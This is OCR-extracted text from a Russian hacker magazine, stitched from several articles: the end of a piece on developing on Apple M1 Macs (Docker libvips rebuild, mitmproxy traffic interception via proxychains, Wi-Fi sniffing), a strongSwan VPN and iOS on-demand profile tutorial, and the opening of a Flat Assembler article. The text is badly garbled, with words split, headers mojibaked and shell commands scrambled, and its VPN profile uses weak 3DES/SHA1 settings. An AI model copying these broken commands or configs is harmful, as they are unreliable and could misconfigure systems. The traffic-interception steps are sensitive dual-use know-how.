CMD ["node", "./dist/apps/api/main.js"]

Лог уста нов ки Sharp на node:16.3-buster-slim:

#8 21.23 sharp: Installation error: Use with glibc 2.24 requires 
manual installation of libvips >= 8.10.6
#8 21.23 sharp: Please see https://sharp.pixelplumbing.com/install 
for required dependencies
#8 21.47 npm WARN The package typescript is included as both a dev 
and production dependency.
#8 21.48 npm WARN optional SKIPPING OPTIONAL DEPENDENCY: fsevents@2.
3.2 (node_modules/fsevents):
#8 21.48 npm WARN notsup SKIPPING OPTIONAL DEPENDENCY: Unsupported 
platform for fsevents@2.3.2: wanted {"os":"darwin","arch":"any"} (
current: {"os":"linux","arch":"arm64"})
#8 21.48
#8 21.51 npm ERR! code ELIFECYCLE
#8 21.51 npm ERR! errno 1
#8 21.51 npm ERR! sharp@0.28.3 install: `(node install/libvips && 
node install/dll-copy && prebuild-install) || (node install/
can-compile && node-gyp rebuild && node install/dll-copy)`
#8 21.51 npm ERR! Exit status 1

В такой ситу ации нуж но или пересо бирать libvips для ARM64, или же исполь- 
зовать более све жий образ опе раци онной сис темы. Нап ример, мож но взять
node:14-alpine, который уже содер жит ском пилиро ван ные для ARM бинар ники
и занима ет на 700 Мбайт мень ше, чем Debian.

Я выб рал хар дкор ный вари ант перес борки биб лиоте ки libvips под ARM64.
Добавил нес коль ко строк в Dockerle:

FROM node:16.3-buster-slim
  apt  RUN apt-get update -qq && -y upgrade && \

    apt-get install -y git build-essential libpng-dev wget pkg-
config glib2.0-dev libexpat1-dev autoconf nasm libtool dpkg g++ 
RUN wget https://github.com/libvips/libvips/releases/download/v8.12.
1/vips-8.12.1.tar.gz 

 
 

RUN tar xf vips-8.12.1.tar.gz && cd vips-8.12.1 && ./configure && 
make && make install && ldconfig 
WORKDIR /opt/app
ADD . .

npm RUN install
RUN npm run build api 
CMD ["node", "./dist/apps/api/main.js"]

И собираю без оши бок.

  docker build -t test -f apps/api/Dockerfile . 

В общем, ког да работа ешь на менее популяр ной архи тек туре, это может вре- 
мя от вре мени при водить к проб лемам вро де той, что я опи сал. Но зато
теперь ты зна ешь, что делать в таких слу чаях!

ÏÐÎÊÑÈÐÎÂÀÍÈÅ ÒÐÀÔÈÊÀ ÏÐÈËÎÆÅÍÈÉ MACOS

Для перех вата и ана лиза тра фика есть отличная ути лита mitmproxy, а в паре
с ProxyChains-ng они спо соб ны замит мить прак тичес ки любое при ложе ние
macOS, которое исполь зует HTTP.

В начале статьи мы делали быс трые али асы для перек лючения архи тек тур,
теперь самое вре мя их при менить. К сло ву, под дер жку macOS Monterey
и M1 в ProxyChains-ng добави ли сов сем недав но — в начале янва- 
ря 2022 года.

Мы соберем две раз ные вер сии биб лиотек libproxychains4.dylib для работы
с обе ими архи тек турами. Боль шинс тво прог рамм уни вер саль ны и ском- 
пилиро ваны для двух архи тек тур сра зу (Mach-O universal binary). Нап ример:

$ file /usr/bin/python 
/usr/bin/python: Mach-O universal binary with 2 architectures: [x86_
64:Mach-O 64-bit executable x86_64] [arm64e:Mach-O 64-bit executable 
arm64e] 
/usr/bin/python (for architecture x86_64):  Mach-O 64-bit executable 
x86_64 
/usr/bin/python (for architecture arm64e):  Mach-O 64-bit executable 
arm64e 

Вер сии для x86_64 и для ARM пред назна чены для работы с при ложе ниями,
соб ранны ми под соот ветс тву ющие архи тек туры. Нач нем с x86_64.

$ intel 
$ arch
i386 
$ git clone https://github.com/rofl0r/proxychains-ng 
$ cd proxychains-ng 
$ ./configure 

make $ && make install

Про буем, нап ример с TOR:

$ proxychains4 curl icanhazip.org 

[proxychains] config file found: /usr/local/etc/proxychains.conf 
[proxychains] preloading /usr/local/lib/libproxychains4.dylib 
[proxychains] DLL init: proxychains-ng 4.15-git-8-g2739fb5 
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  icanhazip.org:
80  ...  OK 
45.153.160.135 

От лично работа ет для ути литы curl. Давай поп робу ем сде лать прок си
для Telegram. Он как раз написан толь ко под ARM, и нам пот ребу ется
пересоб рать proxychains4.

Удос товерим ся, что это при ложе ние для ARM:

$ file /Applications/Telegram.app/Contents/MacOS/Telegram 
/Applications/Telegram.app/Contents/MacOS/Telegram: Mach-O 64-bit 
executable arm64 

Все так, теперь меня ем архи тек туру:

arm $ 
$ arch
arm64 

Пе ресо берем ProxyChains-ng:

$ make clean 
$ ./configure 

make $ 

Здесь я намерен но не делал , так как зат рется пре дыду щая

вер сия. Буду запус кать из пап ки . Пос ле сбор ки бинар ник

и биб лиоте ка лежит в кор не. Под коррек тирую кон фиг:

make inastall
proxychains-ng

$ cp src/proxychains.conf ./ 
   $ sed -i '' 's/socks4/#socks4/g' proxychains.conf 
  $ echo "http 127.0.0.1 8080" >> proxychains.conf 

Те перь уста новим mitmproxy:

brew $ install mitmproxy 

Про верим работу:

$ mitmproxy 

Ус тановим необ ходимые сер тифика ты:

  ssl $ sudo security add-trusted-cert -d -p -p basic -k /Library/
Keychains/System.keychain ~/.mitmproxy/mitmproxy-ca-cert.pem 

В одной вклад ке тер минала запус каем , в дру гой — Telegram через
:

mitmproxy
proxychains

$ ./proxychains4 /Applications/Telegram.app/Contents/MacOS/Telegram 

Ко неч но, помимо «Телег рама», мы можем перех ватывать, нап ример, целый
Firefox и смот реть, куда летят зап росы самого бра узе ра или его рас ширений:

$ proxychains4 /Applications/Firefox.app/Contents/MacOS/firefox 

Та ким обра зом мы можем зах ватывать тра фик прак тичес ки любых при ложе- 
ний для macOS. К сло ву, для ана лиза тра фика на интерфей се всег да мож но
исполь зовать Wireshark, который с вер сии 3.6.0 стал натив ным при ложе нием
для архи тек туры ARM.

WWW

•Tracing all network machine trafc using
mitmproxy for macOS

•Intercepting Network Trafc with mitmproxy
•Monitoring HTTPS Trafc of a Single App on OSX

WI-FI È ÇÀÕÂÀÒ ÏÀÊÅÒÎÂ

Стан дар тный адап тер Wi-Fi, который ста вят в мак буки, впол не неп лохо
работа ет в режиме монито рин га и поз воля ет зах ватывать пакеты на опре- 
делен ном канале. Про демонс три рую это на прак тике:

 $ sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/
Versions/Current/Resources/airport /usr/local/bin/airport 
$ airport -s      # Смотрим сети

 $ sudo airport -z # Отключаемся от активных сетей
$ airport <interface> sniff <channel>

.cap $ ls /tmp/airportSniff*

Од нако со встро енным адап тером не вый дет исполь зовать Wite2 и про чие
подоб ные ути литы для Linux, так как aircrack-ng на M1 пока что соб рать нель- 
зя. Если без них тебе не обой тись, при дет ся исполь зовать внеш ний адап тер
и вир туаль ную машину.

WWW

До пол нитель ную информа цию о работе с Wi-Fi
стан дар тны ми метода ми macOS можешь узнать
из  Пав ла Жов нера.от лично го матери ала

ÏÐÎÃÐÀÌÌÛ ÄËß IOS

На пос ледок — еще одно занят ное отли чие от машин с Intel. На «маках»
с M1 воз можен запуск при ложе ний, раз работан ных для iOS, для это го дос- 
таточ но зай ти в App Store и выб рать соот ветс тву ющую вклад ку. Это удоб но.
Нап ример, у меня дома есть нес коль ко умных розеток, но, кро ме мобиль ного
при ложе ния, спо соба управлять ими нет. По умол чанию все при ложе ния
для iOS дос тупны на «маках» с M1, но раз работ чики могут при желании зап- 
ретить исполь зование на дес кто пе.

WWW

•Reverse-engineering Rosetta 2
•Fuzzing iOS code on macOS at native speed
•How to install ANY iPhone App (Even Non-

Appstore) on M1 Macs
•Is Apple Silicon ready

ÂÛÂÎÄÛ

Мо гу с уве рен ностью ска зать, что это один из луч ших ноут буков для работы.
Исполь зую его как замену дес кто па с док-стан цией и внеш ним монито ром 

 одним, но боль шим и широким). Прек расная энер гоэф фектив- 
ность и рекор дная мощ ность обес печены луч шим на сегод няшний день тех- 
про цес сом и архи тек турой, где память рас положе на вплот ную к про цес сору.
Удоб ная и безопас ная ОС довер шает кар тину.

(к сожалению,

Бо ять ся ARM не нуж но. При ложе ния для Intel велико леп но запус кают ся
через Rosetta 2, вир туали зация отлично работа ет прак тичес ки без потери
про изво дитель нос ти, и даже Windows 11 ARM смо жет тран сли ровать при- 
ложе ния x86_x64 в код для ARM. Все твои при ложе ния внут ри Windows будут
работать, вплоть до дебаг геров и Visual Studio с ком пиляци ей про ектов
в x86_64.

Да, проб лемы еще встре чают ся, но они реша емы, и раз работ чики активно
тру дят ся над тем, что бы через год-дру гой о сов мести мос ти мож но было
не думать вов се. Про шед ший год показы вает, что это впол не реаль но.

Под водя итог: Apple Silicon — это рабочее решение, которое я даже
не думаю менять на что-то дру гое. А на самый край ний слу чай всег да есть
уда лен ный сер вер с клас сичес кой архи тек турой.

https://docs.docker.com/desktop/mac/apple-silicon/
https://github.com/lovell/sharp/issues/2482
https://blogs.aaddevsup.xyz/2018/04/tracing-all-network-machine-traffic-using-mitmproxy-for-mac-osx/
https://www.andyibanez.com/posts/intercepting-network-mitmproxy/
https://calebfenton.github.io/2017/05/27/monitoring-https-of-a-single-app-on-osx/
https://habr.com/ru/post/482914/
https://ffri.github.io/ProjectChampollion/
https://googleprojectzero.blogspot.com/2021/05/fuzzing-ios-code-on-macos-at-native.html
https://randomblock1.com/blog/run-ipa-mac/
https://isapplesiliconready.com/ru
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ТРЮКИ

Не дав но я обна ружил, что на iPhone мож но сде лать так, что- 
бы VPN авто мати чес ки вклю чал ся и вык лючал ся в опре- 
делен ных усло виях. Хорошень ко рас курив докумен тацию, я
накатал кон фиг, и теперь VPN у меня на телефо не работа ет
при под клю чении к мобиль ной сети или гос тевому Wi-Fi,
а дома отклю чает ся. В этой статье я покажу, как сде лать неч- 
то подоб ное. Одна ко сна чала нам понадо бит ся сам сер вер
VPN — в качес тве него мы уста новим strongSwan.

Та кой выбор обус ловлен тем, что ни OpenVPN, ни WireGuard не под держи- 
вают ся в iOS без прог раммы-кли ента. Нам же для того, что бы покопать ся
в пра вилах под клю чения, нуж но будет заг рузить на устрой ство кас томный
про филь VPN, а это воз можно, толь ко если мы под клю чаем ся сис темны ми
средс тва ми. Про токол IKEv2/IPSec, реали зован ный в strongSwan, как раз под- 
держи вает ся на уров не сис темы. При чем не толь ко в iOS — точ но так же
без вся кого кли ента к нему мож но под клю чать ся из Windows и Linux.

От вет на воп рос, зачем тебе свой VPN, ты, думаю, уже зна ешь. Нап ример,
через него час то нас тра ивают под клю чение к при ват ной инфраструк туре
или получа ют дос туп к ресур сам, до которых тра фик по тем или иным при- 
чинам не доходит нап рямую. Да что там, может, тебе прос то иног да любопыт- 
но, как выг лядит глав ная стра ница Pornhub в стра не, где ты толь ко что арен- 
довал недоро гой VPS!

ÑÒÀÂÈÌ È ÍÀÑÒÐÀÈÂÀÅÌ STRONGSWAN ÍÀ ÑÅÐÂÅÐÅ

Нач нем мы с раз верты вания strongSwan на час тном сер вере. Ниже я при веду
крат кий перес каз  по его нас трой ке, пред полагая, что у тебя уста нов- 
лена Ubuntu 20.04. Если у тебя дру гой Linux, коман ды могут отли чать ся,
но прин цип и кон фиги будут по боль шей час ти те же.

ма нуала

Пер вый шаг стан дар тный для уста нов ки чего угод но:

sudo apt update 

Те перь ста вим нуж ные пакеты:

apt sudo install strongswan strongswan-pki \
 libcharon-extra-plugins libcharon-extauth-plugins \
 libstrongswan-extra-plugins libtss2-tcti-tabrmd-dev 

Ког да все ска чает ся, перей дем к нас трой ке.

Ãåíåðèðóåì ñåðòèôèêàòû

Соз даем катало ги для сер тифика тов и клю чей:

 mkdir -p ~/pki/{cacerts,certs,private}

Уби раем у этой пап ки лиш ние пра ва — для надеж ности:

chmod 700 ~/pki 

Ге нери руем кор невой ключ RSA:

pki   rsa  pem --gen --type --size 4096 --outform \
 > ~/pki/private/ca-key.pem 

И кор невой сер тификат:

pki   --self --ca --lifetime 3650 --in ~/pki/private/ca-key.pem \
  rsa    pem --type --dn "CN=VPN root CA" --outform \
 > ~/pki/cacerts/ca-cert.pem 

Чис ло 3650 — это десять лет (в днях), которые будет работать сер тификат.
Можешь изме нить это зна чение на свое усмотре ние.

Кор невые сер тифика ты готовы, теперь нам нужен сер тификат для нашего
сер вера.

Де лаем при ват ный ключ:

pki   rsa  pem --gen --type --size 4096 --outform \
 > ~/pki/private/server-key.pem 

И сам сер тификат. Обра ти вни мание, что IP в трех мес тах нуж но изме нить
на IP тво его сер вака.

pki   rsa --pub --in ~/pki/private/server-key.pem --type \
  | pki --issue --lifetime 1825 --cacert ~/pki/cacerts/ca-cert.pem \

   --cakey ~/pki/private/ca-key.pem --dn "CN=NNN.NNN.NNN.NNN" \
 --san @NNN.NNN.NNN.NNN --san NNN.NNN.NNN.NNN \
  pem --flag serverAuth --flag ikeIntermediate --outform \
 > ~/pki/certs/server-cert.pem 

С этим закон чили, можем переме щать клю чи и сер тифика ты из домаш него
катало га в пап ку нас тро ек strongSwan:

 sudo cp -r ~/pki/* /etc/ipsec.d/ 

Íàñòðàèâàåì strongSwan

На вся кий слу чай пере име нуем ста рый файл с нас трой ками, если он есть:

sudo mv /etc/ipsec.conf{,.original}

От кро ем его  в nano:/etc/ipsec.conf

sudo nano /etc/ipsec.conf 

До бав ляем раз дел :config setup

 config setup
 =charondebug "ike 1, knl 1, cfg 0"
 =uniqueids no

Даль ше добав ляем нас трой ки тун неля IKEv2 (не забудь под ста вить свой IP):

 conn ikev2-vpn
 auto=add
 compress=no
 type=tunnel
 keyexchange=ikev2
 fragmentation=yes
 forceencaps=yes
 dpdaction=clear
 dpddelay=300s
 rekey=no
 left=%any
 leftid=NNN.NNN.NNN.NNN
 leftcert=server-cert.pem
 leftsendcert=always
 leftsubnet=0.0.0.0/0
 right=%any
 rightid=%any
 rightauth=eap-mschapv2
 rightsourceip=10.10.10.0/24
 rightdns=8.8.8.8,8.8.4.4
 rightsendcert=never
 eap_identity=%identity
 ike=chacha20poly1305-sha512-curve25519-prfsha512,
aes256gcm16-sha384-prfsha384-ecp384,aes256-sha1-modp1024,
aes128-sha1-modp1024,3des-sha1-modp1024!
 esp=chacha20poly1305-sha512,aes256gcm16-ecp384,aes256-sha256,
aes256-sha1,3des-sha1!

Здесь забиты адре са гуг лов ско го DNS (  и ), ты можешь

исполь зовать их или заменить, нап ример, адре сом сво его роуте ра (его мож- 
но узнать, наб рав ).

8.8.8.8 8.8.4.4

ip route show default
Сох раня ем кон фиг и выходим из nano (Ctrl-X, Y, Enter).
Сер вер VPN мы нас тро или, оста лось соз дать кре ды, с которы ми кли ент

смо жет авто ризо вать ся. За них отве чает файл . Откры-

ваем его в nano:

/etc/ipsec.secrets

sudo nano /etc/ipsec.secrets 

До бав ляем в него строч ку

: RSA "server-key.pem" 

Дво ето чие и про бел пос ле него важ ны, не уби рай их!
Даль ше зада ем логин и пароль поль зовате ля. Замени их сво ей ком- 

бинаци ей. Хороший стой кий пароль можешь соз дать в пароль ном менед- 
жере.

логин : EAP "пароль" 

Сох раняй файл, и переза пус тим strongSwan, что бы он про читал новые кон- 
фиги:

sudo systemctl restart strongswan-starter 

Íàñòðàèâàåì ñåòü

Наш VPN уже работа ет и готов при нимать соеди нения, но сетевой тра фик
до него пока не доходит. Нуж но нас тро ить фай рвол и IP-фор вардинг.

Раз реша ем про пус кать тра фик OpenSSH, а так же UDP на пор- 
тах 500 и 4500:

sudo ufw allow OpenSSH 
ufw sudo enable

sudo ufw allow 500,4500/udp 

Ос талось сде лать так, что бы вхо дящие пакеты IPSec обра баты вались нашей
служ бой. Узна ем адрес нашего сетево го интерфей са:

ip route show default 

Пос мотри, что будет написа но пос ле сло ва . Это может быть, нап ример,

 или  либо еще что-нибудь в таком духе. Запом ни или запиши
куда-нибудь эти бук вы.

dev
eth0 ens2

От кры ваем файл с нас трой ками пра вил фай рво ла:

sudo nano /etc/ufw/before.rules 

В самом начале фай ла, до сек ции , нам надо добавить два бло ка.

Замени в трех мес тах  тем, что мы наш ли выше.

*filter
ИНТЕРФЕЙС

*nat 
-A POSTROUTING -s 10.10.10.0/24 -o ИНТЕРФЕЙС -m policy --pol ipsec --
dir out -j ACCEPT 
-A POSTROUTING -s 10.10.10.0/24 -o ИНТЕРФЕЙС -j MASQUERADE
COMMIT 

*mangle 
-A FORWARD --match policy --pol ipsec --dir in -s 10.10.10.0/24 -o 
ИНТЕРФЕЙС -p tcp -m tcp --tcp-flags SYN,RST SYN -m tcpmss --mss 1361:
1536 -j TCPMSS --set-mss 1360 
COMMIT 

*filter 
... 

А в кон це  — такие две стро ки:*filter

-A ufw-before-forward --match policy --pol ipsec --dir in --proto 
esp -s 10.10.10.0/24 -j ACCEPT 
-A ufw-before-forward --match policy --pol ipsec --dir out --proto 
esp -d 10.10.10.0/24 -j ACCEPT 

Зак рыва ем, сох раня ем. Теперь откры ваем файл с нас трой ками служ бы фай- 
рво ла:

sudo nano /etc/ufw/sysctl.conf 

До бав ляем в конец вот такие стро ки:

net/ipv4/ip_forward=1
net/ipv4/conf/all/accept_redirects=0
net/ipv4/conf/all/send_redirects=0
net/ipv4/ip_no_pmtu_disc=1

Вык люча ем и вклю чаем фай рвол для при мене ния нас тро ек:

sudo ufw disable 
ufw sudo enable

Ес ли сис тема зап росит под твержде ние, жми Y.

Íàñòðàèâàåì ïîäêëþ÷åíèå

Нам нуж но заб рать с сер вера свой сер тификат, с которым мы будем под клю- 
чать ся. Он лежит в фай ле по такому пути:

/etc/ipsec.d/cacerts/ca-cert.pem 

Мо жешь вывес ти его коман дой , ско пиро вать и сох ранить в файл на сво- 

ем компь юте ре либо заб рать, под клю чив шись по SFTP.

cat

Для под клю чения к VPN тебе понадо бят ся три вещи: IP тво его сер вера,
файл с сер тифика том и пара из логина и пароля, которые ты задал в фай ле 

 Все это у тебя есть!./etc/ipsec.secrets
Нас трой ки в раз ных ОС выпол няют ся нем ного по-раз ному.
В  тебе нуж но:macOS

1. Дваж ды клик нуть на файл с сер тифика том и под твер дить его добав ление
в цепоч ку клю чей, вве дя пароль.

2. От крыть цепоч ку (Keychain Access), най ти VPN root CA и задать нуж ные
раз решения. Дваж ды клик ни по нему, рас крой раз дел «Доверять» (Trust)
и выбери «Доверять всег да» (Always Trust) нап ротив стро ки IPSec.

3. Соз дать соеди нение в нас трой ках сети. Нажимай плю сик вни зу, выбирай
VPN, IKEv2 и жми «Соз дать» (Create), впи сывай IP сер вера в стро ки «Адрес
сер вера» и «Уда лен ный ID».

4. В нас трой ках соеди нения выбирай «Имя поль зовате ля» и ука жи свои логин
и пароль.

В  про цесс нем ного дру гой:Windows

1. От кры вай «Кон соль управле ния», выбирай «Файл → Добавить или уда лить
оснас тку → Сер тифика ты → Добавить».

2. Что бы VPN работал для любого поль зовате ля, выбирай «Учет ная запись
компь юте ра» и жми «Далее». Затем жми «Локаль ный компь ютер»
и «Закон чить».

3. В «Кор не кон соли» выбирай «Доверен ные кор невые цен тры сер тифика ции
для доверия федера ции» и «Сер тифика ты».

4. В меню «Дей ствия» в пра вой панели наж ми «Все задачи» и «Импорти- 
ровать».

5. Вы зови меню выбора фай ла, выс тавь тип X.509 и импорти руй свой сер- 
тификат.

6. Те перь нуж но соз дать под клю чение к VPN. Зай ди в «Панель управле ния →
Сеть интернет». В Windows 7 может понадо бить ся соз дать новое под клю- 
чение к рабоче му мес ту, в Windows 10 и 11 дол жен быть спе циаль ный раз- 
дел VPN. В любом слу чае впи сывай адрес сер вера, логин и пароль.

7. Мо жешь под клю чать ся!

На  уста нов ка схо жа с тем, что мы делали на macOS. Но пос коль ку я обе- 
щал про демонс три ровать воз можность авто мати чес ки вклю чать и вык лючать
VPN, мы вмес то это го соз дадим файл с про филем, который заод но будет
содер жать и все нас трой ки.

iOS

На , увы, strongSwan не под держи вает ся на уров не ОС, поэто му

тебе при дет ся ска чать  и нас тро ить его. Впро чем, эта
статья ори енти рова на на поль зовате лей iOS, так что я не пред полагаю, что
речь о тво ем основном телефо не.

Android

кли ент ское при ложе ние

Продолжение статьи →

mailto:apismenny@gmail.com
https://www.digitalocean.com/community/tutorials/how-to-set-up-an-ikev2-vpn-server-with-strongswan-on-ubuntu-20-04
https://play.google.com/store/apps/details?id=org.strongswan.android&hl=en_US


СИЛЬНЫЙ ЛЕБЕДЬ
ДЕЛАЕМ VPN НА STRONGSWAN

И АВТОМАТИЗИРУЕМ ПОДКЛЮЧЕНИЕ В IOS

ТРЮКИ  НАЧАЛО СТАТЬИ←

ÊÓÅÌ ÏÐÎÔÈËÜ ÄËß IOS

А теперь самая важ ная часть нашего прик лючения, ради которой все
и затева лось. Мы соз дадим кас томный про филь для iOS, где про пишем,
при каких усло виях устрой ство дол жно под клю чать ся к VPN. Не вол нуй ся —
пол ностью полагать ся на авто мати зацию необя затель но, и при желании ты
смо жешь деак тивиро вать такое поведе ние в нас трой ках, что бы вклю чать
и вык лючать VPN вруч ную.

За осно ву я взял , а потом добавил в него пра- 
вила.

чей-то готовый про филь

По мимо логина, пароля и IP сер вера, тебе понадо бит ся сер тификат,
который мы ска чали с сер вера. Точ нее, его содер жимое меж ду стро ками

 и .BEGIN CERTIFICATE END CERTIFICATE
Так же соз дай четыре слу чай ные стро ки про изволь ной дли ны. На macOS я

их сге нери ровал коман дой . Но это чис тое пижонс тво, ты можешь
исполь зовать в качес тве UUID любую пос ледова тель ность сим волов —
осмыслен ных или нет.

uuidgen

В кон фиге ниже тебе понадо бит ся изме нить сле дующее:
до бавить сер тификат вмес то стро ки 13;•
вста вить пер вый UUID в стро ках 20 и 24;•
за дать наз вание VPN в стро ке 32;•
до бавить вто рой UUID в стро ке 36;•
до бавить IP сер вера в стро ках 42 и 44;•
за дать свой логин в стро ке 73 и пароль в стро ке 75;•
вста вить тре тий UUID в стро ке 96;•
вста вить чет вертый UUID в стро ке 102.•

vpn.mobileconfig

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.
apple.com/DTDs/PropertyList-1.0.dtd">

 <plist version="1.0">
<dict>
 <key>PayloadContent</key>
 <array>
   <dict>
     <key>PayloadCertificateFileName</key>
     <string>cert.pem</string>
     <key>PayloadContent</key>
     <data>
      СЮДА ВСТАВЛЯЙ СЕРТИФИКАТ 
     </data>
     <key>PayloadDescription</key>
     <string>Adds a certificate</string>
     <key>PayloadDisplayName</key>
     <string>cert.pem</string>
     <key>PayloadIdentifier</key>
     <string>com.apple.security.pkcs12.ПЕРВЫЙ UUID</string>
     <key>PayloadType</key>
     <string>com.apple.security.pem</string>
     <key>PayloadUUID</key>
     <string>ПЕРВЫЙ UUID ЕЩЕ РАЗ</string>
     <key>PayloadVersion</key>

1     <integer> </integer>
   </dict>
   <dict>
     <key>UserDefinedName</key>
     <string>StrongSwan</string>
     <key>PayloadDisplayName</key>
     <string>НАЗВАНИЕ</string>
     <key>PayloadIdentifier</key>
     <string>swan.vpn.always</string>
     <key>PayloadUUID</key>
     <string>ВТОРОЙ UUID</string>
     <key>VPNType</key>

IKEv2     <string> </string>
IKEv2     <key> </key>

     <dict>
       <key>RemoteAddress</key>
       <string>IP ТВОЕГО СЕРВЕРА</string>
       <key>RemoteIdentifier</key>
       <string>IP ТВОЕГО СЕРВЕРА</string>
       <key>LocalIdentifier</key>
       <string></string>
       <key>AuthenticationMethod</key>

None       <string> </string>
       <key>DeadPeerDetectionRate</key>
           <string>Medium</string>
           <key>DisableMOBIKE</key>

0           <integer> </integer>
           <key>DisableRedirect</key>

0           <integer> </integer>
           <key>EnableCertificateRevocationCheck</key>

0           <integer> </integer>
           <key>EnablePFS</key>

0           <integer> </integer>
           <key>ExtendedAuthEnabled</key>
           <true/>
           <key>IKESecurityAssociationParameters</key>
           <dict>
             <key>DiffieHellmanGroup</key>

2             <integer> </integer>
             <key>EncryptionAlgorithm</key>

3DES             <string> </string>
             <key>IntegrityAlgorithm</key>
             <string>SHA1-96</string>
             <key>LifeTimeInMinutes</key>

1440             <integer> </integer>
           </dict>
       <key>AuthName</key>

ЛОГИН       <string> </string>
       <key>AuthPassword</key>
       <string>ПАРОЛЬ</string>
     </dict>

     <!-- СЮДА ВСТАВЛЯЕМ ПРАВИЛА -->

     <key>OverridePrimary</key>
     <true/>

IPv4     <key> </key>
     <dict>
       <key>OverridePrimary</key>

1       <integer> </integer>
     </dict>
     <key>PayloadType</key>
     <string>com.apple.vpn.managed</string>
     <key>PayloadVersion</key>

1     <integer> </integer>
   </dict>
 </array>
 <key>PayloadDisplayName</key>
 <string>VPN Configuration</string>
 <key>PayloadIdentifier</key>
 <string>ТРЕТИЙ UUID</string>
 <key>PayloadRemovalDisallowed</key>
 <false/>
 <key>PayloadType</key>
 <string>Configuration</string>
 <key>PayloadUUID</key>
 <string>ЧЕТВЕРТЫЙ UUID</string>
 <key>PayloadVersion</key>
 1<integer> </integer>
</dict>
</plist>

ÄÎÁÀÂËßÅÌ ÏÐÀÂÈËÀ ÏÎÄÊËÞ×ÅÍÈß

На стро ке 78 ты мог заметить ком мента рий — он не будет мешать работе
про филя. Одна ко добавил я его, что бы отме тить мес то, куда ты можешь вста- 
вить пра вила авто мати чес кого под клю чения.

Каж дое пра вило — это сло варь, в начале которо го идет тег  со зна- 
чени ем , затем —  с типом дей ствия ( , 

или ) и спи сок парамет ров ( ), то есть усло вие под клю чения

или отклю чения.

key
Action string Connect Disconnect

Ignore key

Ус ловия быва ют сле дующие:
 (мас сив строк) — домены сер веров DNS, которые

могут быть перечис лены в нас трой ках сети. Это один из спо собов понять,
к какой сети мы под клю чены;

• DNSDomainMatch

 (мас сив строк) — то же самое, но исполь зуют- 

ся IP-адре са сер веров DNS;

• DNSServerAddressMatch

 (стро ка) — тип интерфей са под клю чения. Может

быть  для мобиль ной сети или ;

• InterfaceTypeMatch

Celluar WiFi
 (мас сив) — наз вание бес про вод ной сети;• SSIDMatch

 (стро ка) — дос тупность опре делен ного URL. Если

ресурс дос тупен и воз вра щает код 200, пра вило сра баты вает. Обра ти
вни мание, при редирек те пра вило не сра бота ет.

• URLStringProbe

Мас сив строк выг лядит как тег  с одним или нес коль кими тегами 

внут ри.

array string

WWW

Под робнее с фор матом можешь озна комить ся
в офи циаль ной докумен тации ( , стра ница 96).PDF

Пра вила про веря ются свер ху вниз. Пра вило сра баты вает, ког да  ука зан- 

ные внут ри него усло вия соб люда ются. Если пра вило сра бота ло, то про вер ка
завер шает ся. Поэто му вари ант дей ствия по умол чанию мож но пос тавить пос- 
ледним.

âñå

Да вай напишем прос той кон фиг. В нем будет три пра вила:
пер вое про веря ет интерфейс, и если это мобиль ная сеть, то VPN вклю- 
чает ся;

•

вто рое про веря ет, не под клю чены ли мы к домаш нему Wi-Fi, опре деляя
его по SSID (это стро ка с наз вани ем). Если да, то VPN отклю чает ся;

•

третье говорит под клю чать ся к VPN, если мы под клю чены к какому-то дру- 
гому Wi-Fi.

•

<key>OnDemandEnabled</key>
0<integer> </integer>

<key>OnDemandRules</key>
<array>
 <dict>
   <key>Action</key>
   <string>Connect</string>
   <key>InterfaceTypeMatch</key>
   <string>Cellular</string>
 </dict>

 <dict>
   <key>Action</key>
   <string>Disconnect</string>
   <key>SSIDMatch</key>
   <array>
     <string>SSID ТВОЕГО WI-FI</string>
   </array>
 </dict>

 <dict>
   <key>Action</key>
   <string>Connect</string>
   <key>InterfaceTypeMatch</key>
   WiFi<string> </string>
 </dict>
</array>

По умол чанию авто мати чес кое под клю чение будет деак тивиро вано — прос то
на вся кий слу чай (см. пер вые две стро ки). Если уве рен в сво их пра вилах,
можешь пос тавить  вмес то , но это мож но сде лать и потом — в нас трой ках

iOS.

1 0

Со бирай ито говый XML, сох раняй в файл с рас ширени ем 

и переп равь его на устрой ство любым спо собом (наибо лее кон спи ратив ным,
если это для тебя важ но).

.mobileconfig

За тем тебе нуж но будет сде лать сле дующее:
1. На жать на файл, появит ся сооб щение «Про филь заг ружен».
2. Пе рей ти в нас трой ки и открыть «Основные → VPN и управле ние устрой- 

ством → VPN Conguration».
3. На жимать «Уста новить» и вво дить ПИН-коды и пароли, пока iOS не успо- 

коит ся и не решит, что ты и прав да жела ешь уста новить какой-то левый
серт.

4. Зай ти в раз дел VPN (здесь или в общем спис ке нас тро ек), пос тавить
галоч ку нап ротив сво его сер вера и поп робовать перек лючить ста тус
в режим «Под клю чено».

5. Что бы акти виро вать авто мати чес кую работу, заходи в нас трой ки под клю- 
чения (пик тограм ма i) и вклю чай «Под клю чение по зап росу».

Ес ли вдруг воз никнут проб лемы, отклю чай «Под клю чение по зап росу» и уда- 
ляй про филь там же, где ты его добав лял.

ÂÛÂÎÄÛ

Мы раз верну ли свой сер вер VPN на осно ве strongSwan, соз дали на нем учет- 
ную запись и сге нери рова ли сер тификат. С этим сер тифика том мож но под- 
клю чать ся к VPN с любого устрой ства.

Да лее мы научи лись делать про фили VPN для iOS. Все нас трой ки мож но
было бы задать и вруч ную, одна ко интерфей са, что бы задавать усло вия под- 
клю чения, в iOS нет, тог да как в про филе мы смог ли их нас тро ить.

Ты можешь подс тро ить этот кон фиг под свои усло вия и, нап ример, под- 
клю чать или отклю чать VPN на работе или в каких-то дру гих локаци ях, эко номя
вре мя и силы.

https://gist.github.com/judepereira/64607167c67f823b7b478e6aa58cb3d3
https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf


НА АСМЕ
ЗАПЛАТКА

СОЗДАЕМ ПАНЕЛЬ ИНСТРУМЕНТОВ
ДЛЯ WINDOWS НА FLAT ASSEMBLER

Игорь Орещенков
r0bur@mail.ru

КОДИНГ

В этой статье я рас ска жу о том, как соз дать прос тое при- 
ложе ние — заготов ку панели инс тру мен тов для рабоче го
сто ла Windows. По ходу дела мы вспом ним Win32 API, раз- 
берем ся, как его исполь зовать на язы ке ассем бле ра, и поз- 
накомим ся с Flat Assembler, который ста нет для нас
основным инс тру мен том раз работ ки.

ÍÅÒ Â ÌÈÐÅ ÑÎÂÅÐØÅÍÑÒÂÀ

На род ная мол ва гла сит, что в осно ве мироз дания лежит закон под лости,
